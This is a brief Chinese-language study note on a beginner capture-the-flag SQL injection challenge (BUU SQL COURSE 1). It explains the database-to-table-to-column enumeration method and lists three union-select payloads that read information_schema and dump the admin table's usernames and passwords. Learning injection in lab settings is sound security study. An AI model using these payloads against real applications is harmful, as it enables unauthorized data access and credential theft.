SQL注入学习笔记

BUU SQL COURSE 1

一道很入门的的SQL手工注入，所用到的知识点也就只有union和group_concat联合注入和输出，带给我的主要收获是解读了题解代码后初步理解了查数据库名->表名->列名—>具体元素的三板斧，和具体查询原理

0 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#
0 union select group_concat(username),group_concat(password) from admin

讲得最好的题解
SQL注入之union 联合注入的详细原理和注意事项